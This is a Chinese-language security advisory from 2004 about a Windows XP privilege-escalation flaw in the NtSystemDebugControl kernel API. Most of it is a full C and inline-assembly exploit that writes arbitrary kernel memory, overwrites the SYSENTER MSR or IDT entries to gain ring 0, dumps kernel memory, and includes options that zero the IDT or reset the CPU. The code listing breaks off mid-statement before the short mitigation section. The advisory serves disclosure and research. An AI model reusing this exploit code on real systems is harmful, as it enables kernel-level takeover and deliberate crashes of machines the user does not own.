首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第46期->最新漏洞
期刊号: 类型: 关键词:
Microsoft Windows NtSystemDebugControl()内核API函数权限提升漏洞

日期:2004-03-05

发布日期:2004-02-18
更新日期:2004-02-25

受影响系统:
Microsoft Windows XP Professional SP1
Microsoft Windows XP Professional
Microsoft Windows XP Media Center Edition
Microsoft Windows XP Home SP1
Microsoft Windows XP Home
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 9694

Microsoft Windows是一款微软开发的视窗操作系统。

Microsoft Windows操作系统内核API函数存在安全问题,本地攻击者可以利用这个漏洞提升权限。

ZwSystemDebugControl()从ntdll.dll导出,调用Windows操作系统函数NtSystemDebugControl(),这个函数在ring 0模式下执行,拥有SeDebugPrivilege权限的调试者可以利用这个函数获得权限提升。

问题存在与Microsoft Windows XP,不过据称Microsoft Windows 2003也存在此漏洞。

<*来源:first last (randnut@hotmail.com)
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=107714522627361&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

first last (randnut@hotmail.com)提供了如下测试方法:

/*
* Discovered and coded Jan 25, 2004
* Copyright (C)2004 randnut@hotmail.com
*/

#include <windows.h>
#include <stdio.h>

typedef int NTSTATUS;
#define NTAPI __stdcall

const IA32_SYSENTER_CS = 0x174;
const IA32_SYSENTER_ESP = 0x175;
const IA32_SYSENTER_EIP = 0x176;

const SelCodeKernel = 0x8;
const CmosIndx = 0x0E;        // CMOS Diagnostic Status
const RdWrIoPort = 0x80;

#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}
#define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}

typedef enum _DEBUG_CONTROL_CODE {
    DebugSysReadIoSpace = 14,
    DebugSysWriteIoSpace = 15,
    DebugSysReadMsr = 16,
    DebugSysWriteMsr = 17,
    DebugSysReadBusData = 18,
    DebugSysWriteBusData = 19,
} DEBUG_CONTROL_CODE;

typedef struct _MSR_STRUCT {
    DWORD MsrNum;            // MSR number
    DWORD NotUsed;            // Never accessed by the kernel
    DWORD MsrLo;            // IN (write) or OUT (read): Low 32 bits of MSR
    DWORD MsrHi;            // IN (write) or OUT (read): High 32 bits of MSR
} MSR_STRUCT;

typedef struct _IO_STRUCT {
    DWORD IoAddr;            // IN: Aligned to NumBytes,I/O address
    DWORD Reserved1;        // Never accessed by the kernel
    PVOID pBuffer;            // IN (write) or OUT (read): Ptr to buffer
    DWORD NumBytes;            // IN: # bytes to read/write. Only use 1, 2, or 4.
    DWORD Reserved4;        // Must be 1
    DWORD Reserved5;        // Must be 0
    DWORD Reserved6;        // Must be 1
    DWORD Reserved7;        // Never accessed by the kernel
} IO_STRUCT;

// Copied from the Windows DDK
typedef enum _BUS_DATA_TYPE {
  ConfigurationSpaceUndefined = -1,
  Cmos,
  EisaConfiguration,
  Pos,
  CbusConfiguration,
  PCIConfiguration,
  VMEConfiguration,
  NuBusConfiguration,
  PCMCIAConfiguration,
  MPIConfiguration,
  MPSAConfiguration,
  PNPISAConfiguration,
  SgiInternalConfiguration,
  MaximumBusDataType
} BUS_DATA_TYPE, *PBUS_DATA_TYPE;

// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of
each field
typedef struct _BUS_STRUCT {
    ULONG  Offset;
    PVOID  Buffer;
    ULONG  Length;
    BUS_DATA_TYPE  BusDataType;
    ULONG  BusNumber;
    ULONG  SlotNumber;
} BUS_STRUCT;

typedef
NTSTATUS
(NTAPI *PZwSystemDebugControl)(
    DEBUG_CONTROL_CODE ControlCode,
    PVOID InputBuffer,
    ULONG InputBufferLength,
    PVOID OutputBuffer,
    ULONG OutputBufferLength,
    PULONG ReturnLength
    );

PZwSystemDebugControl ZwSystemDebugControl = NULL;

enum Ring0Method {
    Method1,
    Method2,
};

struct OldCpuState
{
    Ring0Method meth;
    MSR_STRUCT msr[3];
    DWORD AffinityMask;
    DWORD EFLAGS, CS, SS, OldIdtDesc[2];
};

void help()
{
    printf("Usage: name_of_program [option [option [...]]]\n");
    printf("/test1                            - test for SYSENTER vuln\n");
    printf("/test2                            - test for I/O write to mem
vuln\n");
    printf("/test3                            - test for bus write to mem
vuln\n");
    printf("/reset                            - reset CPU in ring 0\n");
    printf("/zeroidt                          - zero IDT (reboots PC)\n");
    printf("/wrmem <addr> <byte>              - write byte to mem\n");
    printf("/rdmsr <num>                      - read MSR\n");
    printf("/wrmsr <num> <hi> <lo>            - write MSR\n");
    printf("/rdio <port> <size>               - read I/O port\n");
    printf("/wrio <port> <size> <value>       - write I/O port\n");
    printf("/dump <addr> <size>               - dump memory from ring 0\n");
    exit(0);
}

int rdmsr(int MsrNum, MSR_STRUCT& msr)
{
    msr.MsrNum = MsrNum;
    return ZwSystemDebugControl(DebugSysReadMsr, &msr, sizeof(msr), NULL, 0,
NULL) >= 0;
}

int wrmsr(int MsrNum, MSR_STRUCT& msr)
{
    msr.MsrNum = MsrNum;
    return ZwSystemDebugControl(DebugSysWriteMsr, &msr, sizeof(msr), NULL, 0,
NULL) >= 0;
}

void PrintMsr(MSR_STRUCT& msr)
{
    printf("MSR %08X = %08X_%08X\n", msr.MsrNum, msr.MsrHi, msr.MsrLo);
}

int HasSysEnter()
{
    int retval = 0;

    __try
    {
        __asm
        {
            mov    eax,1
            cpuid
            shr    edx,12
            adc    retval,0
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
    }

    return retval;
}

int SetProcessor(DWORD NewAffinityMask, DWORD* pOldAffinityMask)
{
    DWORD tmp;

    FCHK(!pOldAffinityMask || GetProcessAffinityMask(GetCurrentProcess(),
pOldAffinityMask, &tmp));
    FCHK(SetProcessAffinityMask(GetCurrentProcess(), NewAffinityMask));

    return 1;
}

/*
* Returns < 0 on error. If ppAddr != NULL, returns 0x100 on success.
* If ppAddr == NULL, returns byte read on success.
*/
int CmosRead(int offs, BYTE** ppAddr = NULL)
{
    BYTE buf;
    BUS_STRUCT bus;

    bus.BusDataType = Cmos;
    bus.BusNumber = 0;
    bus.SlotNumber = offs;
    bus.Buffer = ppAddr ? *ppAddr : &buf;
    bus.Offset = 0;
    bus.Length = 1;

    if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0,
NULL) < 0)
        return -1;
    else
        return ppAddr ? 0x100 : buf;
}

/*
* Returns 0 on failure, 1 on success
*/
int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)
{
    BUS_STRUCT bus;

    bus.BusDataType = Cmos;
    bus.BusNumber = 0;
    bus.SlotNumber = offs;
    bus.Buffer = ppAddr == NULL ? &val : *ppAddr;
    bus.Offset = 0;
    bus.Length = 1;

    return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL,
0, NULL) >= 0;
}

/*
* Write a byte to any location by exploiting another bug in the kernel. This
function
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to write the byte to any
address.
* This code must execute in ring 3.
*/
int Method1_WriteMemByte(DWORD MemAddr, BYTE Value)
{
    IO_STRUCT io;

    memset(&io, 0, sizeof(io));
    io.IoAddr = RdWrIoPort;
    io.pBuffer = &Value;
    io.NumBytes = 1;
    io.Reserved4 = 1;
    io.Reserved6 = 1;
    if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
        return 0;

    memset(&io, 0, sizeof(io));
    io.IoAddr = RdWrIoPort;
    io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
    io.NumBytes = 1;
    io.Reserved4 = 1;
    io.Reserved6 = 1;
    if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
        return 0;

    return 1;
}

/*
* Read a byte from any location by exploiting another bug in the kernel.
This function
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to read the byte from
any address.
* This code must execute in ring 3.
*/
int Method1_ReadMemByte(DWORD MemAddr)
{
    BYTE Value;

    IO_STRUCT io;
    memset(&io, 0, sizeof(io));
    io.IoAddr = RdWrIoPort;
    io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
    io.NumBytes = 1;
    io.Reserved4 = 1;
    io.Reserved6 = 1;
    if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
        return -1;

    memset(&io, 0, sizeof(io));
    io.IoAddr = RdWrIoPort;
    io.pBuffer = &Value;
    io.NumBytes = 1;
    io.Reserved4 = 1;
    io.Reserved6 = 1;
    if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
        return -1;

    return Value;
}

int CmosTest()
{
    int OldVal = CmosRead(CmosIndx);
    if (OldVal < 0)
        return 0;

    static int HasTested = 0;
    if (HasTested == 0)
    {
        HasTested = -1;

        if (!CmosWrite(CmosIndx, 0x55) || CmosRead(CmosIndx) != 0x55 ||
            !CmosWrite(CmosIndx, 0xAA) || CmosRead(CmosIndx) != 0xAA ||
            !CmosWrite(CmosIndx, (BYTE)OldVal))
        {
            printf("There's something wrong with your CMOS\n");
            return 0;
        }

        HasTested = 1;
    }
    else if (HasTested == -1)
        return 0;

    return 1;
}

/*
* Write a byte to any location by exploiting another bug in the kernel. This
function
* uses DebugSysReadBusData and DebugSysWriteBusData to write the byte to any
address.
* This code must execute in ring 3.
*/
int Method2_WriteMemByte(DWORD MemAddr, BYTE Value)
{
    if (!CmosTest())
        return 0;

    int OldVal = CmosRead(CmosIndx);
    if (OldVal < 0)
        return 0;

    BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
    if (!CmosWrite(CmosIndx, Value) || CmosRead(CmosIndx, &p) < 0 ||
        !CmosWrite(CmosIndx, OldVal))
        return 0;

    return 1;
}

/*
* Read a byte from any location by exploiting another bug in the kernel.
This function
* uses DebugSysReadBusData and DebugSysWriteBusData to read the byte from
any address.
* This code must execute in ring 3.
*/
int Method2_ReadMemByte(DWORD MemAddr)
{
    int OldVal, RetVal;

    if (!CmosTest())
        return -1;

    BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
    if ((OldVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, 0, &p) ||
        (RetVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, (BYTE)OldVal))
        return -1;

    return RetVal;
}

static int MemAccessMethType = -1;
int SetMemAccessMeth(int NewMeth)
{
    int old = MemAccessMethType;

    if (NewMeth == -1 || NewMeth == 1 || NewMeth == 2)
        MemAccessMethType = NewMeth;

    return old;
}

int WriteMemByte(DWORD MemAddr, BYTE Value)
{
    switch (MemAccessMethType)
    {
    case 1:
        return Method1_WriteMemByte(MemAddr, Value);

    case 2:
        return Method2_WriteMemByte(MemAddr, Value);

    case -1:
    default:
        return Method1_WriteMemByte(MemAddr, Value) ||
Method2_WriteMemByte(MemAddr, Value);
    }
}

int ReadMemByte(DWORD MemAddr)
{
    switch (MemAccessMethType)
    {
    case 1:
        return Method1_ReadMemByte(MemAddr);

    case 2:
        return Method2_ReadMemByte(MemAddr);

    case -1:
    default:
        int RetVal;
        if ((RetVal = Method1_ReadMemByte(MemAddr)) >= 0 ||
            (RetVal = Method2_ReadMemByte(MemAddr)) >= 0)
            (void)0 /* Nothing */;
        return RetVal;
    }
}

/*
* Tries to enter ring 0 by overwriting IA32_SYSENTER_EIP and executing
SYSENTER.
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.
*/
int Method1_EnterRing0(OldCpuState& old)
{
    old.meth = Method1;
    if (!HasSysEnter())
        return 0;

    FCHK(SetProcessor(1, &old.AffinityMask));
    FCHK2(rdmsr(IA32_SYSENTER_CS, old.msr[0]), cleanup);
    FCHK2(rdmsr(IA32_SYSENTER_ESP, old.msr[1]), cleanup);
    FCHK2(rdmsr(IA32_SYSENTER_EIP, old.msr[2]), cleanup);

    DWORD Ring0Addr;
    __asm
    {
        mov    Ring0Addr,offset ring0_addr
    }

    Sleep(100);    // A more reliable way is to block all interrupts through the
PIC.

    MSR_STRUCT msr;
    if (old.msr[0].MsrLo == 0) // SYSENTER not enabled
    {
        // IMPORTANT:
        // I assume the OS sets up the GDT as follows:
        // base:ring0 code
        //        ring0 data
        //        ring3 code
        //        ring3 data
        // Will crash eventually if it's not setup that way
        msr.MsrLo = SelCodeKernel;
        msr.MsrHi = 0;
        FCHK2(wrmsr(IA32_SYSENTER_CS, msr), cleanup);
    }

    msr.MsrHi = 0;
    msr.MsrLo = Ring0Addr;
    FCHK2(wrmsr(IA32_SYSENTER_EIP, msr), cleanup2);    // Let's hope we won't get
interrupted after this call

    __asm
    {
        mov        ecx,esp
        // Hmm, can't assemble SYSENTER or DB 0F,34
        jmp        short $+3
        mov        eax,9090340Fh
ring0_addr:
        mov        esp,ecx
        // Hot dog! :)
    }

    return 1;

cleanup2:
    if (old.msr[0].MsrLo == 0)
        wrmsr(IA32_SYSENTER_CS, old.msr[0]);
cleanup:
    FCHK(SetProcessor(old.AffinityMask, NULL));
    return 0;
}

/*
* Enters ring 3
*/
void Method1_LeaveRing0(OldCpuState& old)
{
    MSR_STRUCT* pmsr = &old.msr[0];
    __asm
    {
        mov        ebx,pmsr

        mov        ecx,[ebx]        // IA32_SYSENTER_CS
        mov        eax,[ebx+8]
        mov        edx,[ebx+0Ch]
        test    eax,eax
        jz        skip1
        wrmsr
skip1:

        mov        ecx,[ebx+10h]    // IA32_SYSENTER_ESP
        mov        eax,[ebx+10h+8]
        mov        edx,[ebx+10h+0Ch]
        wrmsr

        mov        ecx,[ebx+20h]    // IA32_SYSENTER_EIP
        mov        eax,[ebx+20h+8]
        mov        edx,[ebx+20h+0Ch]
        wrmsr

        mov        ecx,esp
        mov        edx,offset ring3_code
        // Hmm, can't assemble SYSEXIT or DB 0F,35
        jmp        short $+3
        mov        eax,90350FFBh
ring3_code:
    }
    if (old.msr[0].MsrLo == 0) // SYSENTER was not enabled
        wrmsr(old.msr[0].MsrNum, old.msr[0]);

    SetProcessor(old.AffinityMask, NULL);
}

/*
* Tries to enter ring 0 by telling the kernel to write to the IDT with bytes
we control.
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.
*/
int Method2_EnterRing0(OldCpuState& old)
{
    old.meth = Method2;
    FCHK(SetProcessor(1, &old.AffinityMask));

    DWORD Ring0Addr, EFLAGS, _CS, _SS;
    DWORD idt[2], idt_base, idt_limit;
    __asm
    {
        mov        Ring0Addr,offset ring0_addr
        sidt    idt+2
        movzx    eax,word ptr idt+2
        mov        idt_limit,eax
        mov        eax,idt+4
        mov        idt_base,eax
        pushfd
        pop        eax
        mov        EFLAGS,eax
        mov        word ptr _CS,cs
        mov        word ptr _SS,ss
    }
    old.EFLAGS = EFLAGS;
    old.CS = _CS;
    old.SS = _SS;

#define IntNum 0xFF

    if (IntNum*8 + 7 > idt_limit)
    {
        printf("ERROR: The interrupt number is outside the IDT. Change it and
recompile.\n");
        goto cleanup;
    }

    BYTE* pOldIdtDesc = (BYTE*)&old.OldIdtDesc;
    for (int i = 0; i < 8; i++)
    {
        int SomeByte;
        FCHK2((SomeByte = ReadMemByte(idt_base + IntNum*8 + i)) >= 0, cleanup);
        *pOldIdtDesc++ = (BYTE)SomeByte;
    }

    DWORD IdtDesc[2];
    IdtDesc[0] = (SelCodeKernel << 16) | (Ring0Addr & 0xFFFF);
    IdtDesc[1] = (Ring0Addr & 0xFFFF0000) | 0xEE00;    // 32-bit interrupt gate,
DPL3

    for (int i = 0; i < 8; i++)
        FCHK2(WriteMemByte(idt_base + IntNum*8 + i, *((BYTE*)&IdtDesc + i)),
cleanup);

    __asm
    {
        xchg    esp,eax
        int        IntNum
ring0_addr:
        xchg    esp,eax
        // What do you know, it worked!
    }

    return 1;

cleanup:
    FCHK(SetProcessor(old.AffinityMask, NULL));
    return 0;
}

/*
* Enters ring 3
*/
void Method2_LeaveRing0(OldCpuState& old)
{
    DWORD idt[2];
    DWORD EFLAGS = old.EFLAGS;
    DWORD _CS = old.CS;
    DWORD _SS = old.SS;
    DWORD* pOldIdtDesc = &old.OldIdtDesc[0];
    __asm
    {
        sidt    idt+2
        mov        eax,idt+4
        mov        ecx,pOldIdtDesc
        mov        edx,[ecx]
        mov        ecx,[ecx+4]
        mov        [eax+IntNum*8],edx
        mov        [eax+IntNum*8+4],ecx

        mov        eax,esp
        push    _SS
        push    eax
        mov        eax,EFLAGS
        and        eax,not (1 shl 0Eh)
        push    eax
        push    _CS
        push    offset ring3_addr
        iretd
ring3_addr:
    }

    SetProcessor(old.AffinityMask, NULL);
}

int EnterRing0(OldCpuState& old)
{
    /*
     * Method2 is safer than Method1
     */
    return Method2_EnterRing0(old) || Method1_EnterRing0(old);
}

void LeaveRing0(OldCpuState& old)
{
    switch (old.meth)
    {
    case Method1:    Method1_LeaveRing0(old); break;
    case Method2:    Method2_LeaveRing0(old); break;
    default:        __asm jmp    short $
    }
}

int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)
{
    TOKEN_PRIVILEGES tok;

    tok.PrivilegeCount = 1;
    tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;

    FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));
    FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));

    return 1;
}

void PrintDelay(int secs)
{
    while (secs--)
    {
        printf("%d..", secs+1);
        Sleep(1000);
    }
    printf("NOW\n");
}

void PrintVulnMsg(int failed)
{
    if (!failed)
        printf("Your operating system is vulnerable to this exploit.\n");
    else
    {
        printf("If this user account has the SeDebugPrivilege privilege then
your\n");
        printf("OS doesn't appear to be vulnerable.\n\n");
    }
}

DWORD ReadMem(DWORD MemAddr, void* buf, DWORD bufsz)
{
    if (!bufsz || !buf)
        return 0;

#if 0
/*
* Will crash XP if we read from non-present memory so don't use this code
*/
    BYTE* p = (BYTE*)buf;
    for (DWORD i = 0; i < bufsz; i++)
    {
        int SomeByte;
        if ((SomeByte = ReadMemByte(MemAddr++)) < 0)
            break;
        p[i] = (BYTE)SomeByte;
    }
    return i;
#else
    OldCpuState old;
    if (!EnterRing0(old))
        return 0;

    DWORD ret_val;
    __asm
    {
        sub        esp,8
        sidt    [esp+2]
        mov        ebx,[esp+4]
        add        esp,8
        push    dword ptr [ebx+0Eh*8]
        push    dword ptr [ebx+0Eh*8+4]

        mov        eax,offset xcpt_handler
        mov        [ebx+0Eh*8],eax
        mov        [ebx+0Eh*8+4],eax
        mov        word ptr [ebx+0Eh*8+4],8E00h
        mov        word ptr [ebx+0Eh*8+2],cs

        mov        ecx,bufsz
        mov        esi,MemAddr
        mov        edi,buf
        rep movsb
        jmp        skip_xcpt
xcpt_handler:
        add        esp,8
        popfd
        pop        eax
skip_xcpt:
        pop        dword ptr [ebx+0Eh*8+4]
        pop        dword ptr [ebx+0Eh*8]

        mov        eax,bufsz
        sub        eax,ecx
        mov        ret_val,eax
    }

    LeaveRing0(old);
    return ret_val;
#endif
}

int DumpMem(DWORD MemAddr, DWORD size)
{
    if (size == 0)
        return 1;
    if (MemAddr + size - 1 < MemAddr)
        return 0;

    DWORD OldMask;
    FCHK(SetProcessor(1, &OldMask));

    int ret = 1;
    const BytesPerLine = 16;
    while (size)
    {
        BYTE buf[BytesPerLine];
        DWORD addr = MemAddr - MemAddr % BytesPerLine;
        DWORD SizeRead = ReadMem(addr, buf, BytesPerLine);

        printf("%08X:", addr);
        for (int i = 0; i < BytesPerLine; i++)
        {
            if ((i & 3) == 0 && i != 0)
                printf("-");
            else
                printf(" ");
            if (addr < MemAddr || addr > MemAddr+size-1)
                printf("  ");
            else if ((DWORD)i >= SizeRead)
                printf("??");
            else
                printf("%02X", buf[i]);
            addr++;
        }
        printf(" ");

        addr = MemAddr - MemAddr % BytesPerLine;
        for (int i = 0; i < BytesPerLine; i++)
        {
            if (addr < MemAddr || addr > MemAddr+size-1)
                printf(" ");
            else if ((DWORD)i >= SizeRead)
                printf("?");
            else if (buf[i] >= 0x20 && buf[i] <= 0x7E)
                printf("%c", buf[i]);
            else
                printf(".");
            addr++;
        }
        printf("\n");

        size -= min(size, addr - MemAddr);
        MemAddr = addr;
    }

    SetProcessor(OldMask, NULL);
    return ret;
}

int main(int argc, char* argv[])
{
    HMODULE hNtdll;
    FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
    FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll,
"ZwSystemDebugControl")) != NULL);

    HANDLE hToken;
    FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken));
    FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));

    for (int i = 1; i < argc; i++)
    {
        char* s = argv[i];
        if (*s != '/' && *s != '-')
            help();
        s++;

        if (!strcmp(s, "rdmsr") && i+1 < argc)
        {
            MSR_STRUCT msr;
            int num = strtoul(argv[++i], NULL, 0);
            if (rdmsr(num, msr))
                PrintMsr(msr);
            else
                printf("rdmsr(%08X) failed\n", num);
        }
        else if (!strcmp(s, "wrmsr") && i+3 < argc)
        {
            MSR_STRUCT msr;
            int num = strtoul(argv[++i], NULL, 0);
            msr.MsrHi = strtoul(argv[++i], NULL, 0);
            msr.MsrLo = strtoul(argv[++i], NULL, 0);
            if (!wrmsr(num, msr))
            {
                printf("wrmsr(%08X) failed\n", num);
                continue;
            }
            if (rdmsr(num, msr))
                PrintMsr(msr);
            else
                printf("rdmsr(%08X) failed\n", num);
        }
        else if (!strcmp(s, "rdio") && i+2 < argc)
        {
            IO_STRUCT io;
            memset(&io, 0, sizeof(io));
            DWORD Buffer;
            io.IoAddr = strtoul(argv[++i], NULL, 0);
            io.pBuffer = &Buffer;
            io.NumBytes = strtoul(argv[++i], NULL, 0);
            io.Reserved4 = 1;
            io.Reserved6 = 1;

            if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
            {
                printf("Size must be 1, 2, or 4 bytes\n");
                continue;
            }
            if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
            {
                printf("Could not read I/O space\n");
                continue;
            }
            switch (io.NumBytes)
            {
            case 1: printf("0x%02X\n", (BYTE)Buffer); break;
            case 2: printf("0x%04X\n", (WORD)Buffer); break;
            case 4: printf("0x%08X\n", Buffer); break;
            default: printf("WTF\n"); break;
            }
        }
        else if (!strcmp(s, "wrio") && i+3 < argc)
        {
            IO_STRUCT io;
            memset(&io, 0, sizeof(io));
            DWORD Buffer;
            io.IoAddr = strtoul(argv[++i], NULL, 0);
            io.pBuffer = &Buffer;
            io.NumBytes = strtoul(argv[++i], NULL, 0);
            io.Reserved4 = 1;
            io.Reserved6 = 1;
            Buffer = strtoul(argv[++i], NULL, 0);

            if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
            {
                printf("Size must be 1, 2, or 4 bytes\n");
                continue;
            }
            if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
NULL) < 0)
            {
                printf("Could not write to I/O space\n");
                continue;
            }
        }
        else if (!strcmp(s, "reset"))
        {
            OldCpuState old;
            printf("Will reset computer in...");
            PrintDelay(3);

            if (!EnterRing0(old))
            {
                printf("Could not enter ring 0\n");
                continue;
            }
            __asm
            {
                push    0
                lidt    [esp]
                pop        esp
                inc        esp
                push    esp
            }
            LeaveRing0(old);
            printf("WTF\n");
        }
        else if (!strcmp(s, "wrmem") && i+2 < argc)
        {
            DWORD MemAddr = strtoul(argv[++i], NULL, 0);
            BYTE Value = (BYTE)strtoul(argv[++i], NULL, 0);

            if (!WriteMemByte(MemAddr, Value))
            {
                printf("Could not write the byte\n");
                continue;
            }
        }
        else if (!strcmp(s, "zeroidt"))
        {
            DWORD OldMask;
            if (!SetProcessor(1, &OldMask))
            {
                printf("SetProcessor() failed\n");
                continue;
            }

            DWORD idt[2];
            int idt_size, idt_base;
            __asm
            {
                sidt    idt+2
                movzx    eax,word ptr idt+2
                mov        idt_size,eax
                mov        eax,idt+4
                mov        idt_base,eax
            }
            printf("Will start writing to IDT @ %08X in...", idt_base);
            PrintDelay(3);

            for (int j = 0; j <= idt_size; j++)
            {
                if (!WriteMemByte(idt_base + j, 0x00))
                {
                    printf("Could not write the byte to address %08X\n", idt_base + j);
                    break;
                }
            }
            if (j != 0)
                printf("WTF\n");

            SetProcessor(OldMask, NULL);
        }
        else if (!strcmp(s, "test1"))
        {
            if (!HasSysEnter())
            {
                printf("Sorry. SYSENTER/SYSEXIT instructions aren't supported by your
processor.\n");
                continue;
            }

            int failed = 1;
            OldCpuState old;

            printf("Testing SYSENTER vulnerability in...");
            PrintDelay(3);

            if (Method1_EnterRing0(old))
            {
                failed = 0;
                Method1_LeaveRing0(old);
            }

            PrintVulnMsg(failed);
        }
        else if (!strcmp(s, "test2"))
        {
            int failed = 1;
            OldCpuState old;

            printf("Testing I/O write to memory vulnerability in...");
            PrintDelay(3);

            int OldWrite = SetMemAccessMeth(1);
            if (Method2_EnterRing0(old))
            {
                failed = 0;
                Method2_LeaveRing0(old);
            }
            SetMemAccessMeth(OldWrite);

            PrintVulnMsg(failed);
        }
        else if (!strcmp(s, "test3"))
        {
            int failed = 1;
            OldCpuState old;

            printf("Testing bus write to memory vulnerability in...");
            PrintDelay(3);

            int OldWrite = SetMemAccessMeth(2);
            if (Method2_EnterRing0(old))
            {
                failed = 0;
                Method2_LeaveRing0(old);
            }
            SetMemAccessMeth(OldWrite);

            PrintVulnMsg(failed);
        }
        else if (!strcmp(s, "dump") && i+2 < argc)
        {
            DWORD MemAddr = strtoul(argv[++i], NULL, 0);
            DWORD size = strtoul(argv[++i], NULL, 0);

            if (!DumpMem(MemAddr, size))
            

建议:
--------------------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 本地策略中在所有用户/组中去掉调试权限。

厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/technet/security/
版权所有,未经许可,不得转载